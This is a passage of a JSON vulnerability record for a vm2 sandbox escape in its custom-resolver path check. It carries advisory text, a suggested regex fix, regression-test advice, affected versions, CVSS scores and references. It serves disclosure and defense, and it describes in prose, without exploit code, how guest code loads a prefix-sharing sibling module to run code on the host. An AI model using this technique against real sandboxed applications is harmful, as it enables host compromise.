execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value => new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.", "title": "github - https://github.com/advisories/GHSA-5h3f-q97h-ccvc" }, { "category": "description", "text": "vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100721" }, { "category": "other", "text": "0.004", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "9.5", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.2", "title": "NCSC Score" }, { "category": "other", "text": "The value of the most recent CVSS (V4) score, There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is cwe data available from source Github, There is cwe data available from source Nvd, There is cvss data available from source Github, The value of the most recent CVSS (V3) score, Is related to a product by vendor Open Source", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-9477908", "CSAFPID-9478886", "CSAFPID-9337227", "CSAFPID-3466137", "CSAFPID-3466138", "CSAFPID-3466139", "CSAFPID-3466140", "CSAFPID-3466141", "CSAFPID-3466142", "CSAFPID-3466143", "CSAFPID-4139275", "CSAFPID-4139276", "CSAFPID-4139277", "CSAFPID-3466144", "CSAFPID-3466145", "CSAFPID-3466146", "CSAFPID-3466147", "CSAFPID-3466148", "CSAFPID-3466149", "CSAFPID-3466150", "CSAFPID-5467538", "CSAFPID-5467539", "CSAFPID-8609298", "CSAFPID-8609297", "CSAFPID-8609296", "CSAFPID-8609295", "CSAFPID-8707556", "CSAFPID-8707555", "CSAFPID-8707554", "CSAFPID-8707553", "CSAFPID-9007705", "CSAFPID-9007704", "CSAFPID-3466151", "CSAFPID-3466152", "CSAFPID-3466153", "CSAFPID-9656527" ], "known_not_affected": [ "CSAFPID-9478885" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100721.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100721" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100721" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3594.json" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-100721" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-5h3f-q97h-ccvc" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-5h3f-q97h-ccvc.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c" }, { "category": "external", "summary": "Reference - certbundde; cveprojectv5; github; nvd; osv", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3594.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3594" }, { "category": "external", "summary": "Reference - certbundde; github; osv", "url": "https://github.com/patriksimek/vm2/releases/tag/v3.12.2" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-2v2p-6j97-cjg9" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100721" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-5h3f-q97h-ccvc" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100721.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-3466137", "CSAFPID-3466138", "CSAFPID-3466139", "CSAFPID-3466140", "CSAFPID-3466141", "CSAFPID-3466142", "CSAFPID-3466143", "CSAFPID-3466144", "CSAFPID-3466145", "CSAFPID-3466146", "CSAFPID-3466147", "CSAFPID-3466148", "CSAFPID-3466149", "CSAFPID-3466150", "CSAFPID-3466151", "CSAFPID-3466152", "CSAFPID-3466153", "CSAFPID-4139275", "CSAFPID-4139276", "CSAFPID-4139277", "CSAFPID-5467538", "CSAFPID-5467539", "CSAFPID-8609295", "CSAFPID-8609296", "CSAFPID-8609297", "CSAFPID-8609298", "CSAFPID-8707553", "CSAFPID-8707554", "CSAFPID-8707555", "CSAFPID-8707556", "CSAFPID-9007704", "CSAFPID-9007705", "CSAFPID-9337227", "CSAFPID-9477908", "CSAFPID-9478886", "CSAFPID-9656527" ] } ], "title": "CVE-2026-100721" } ] }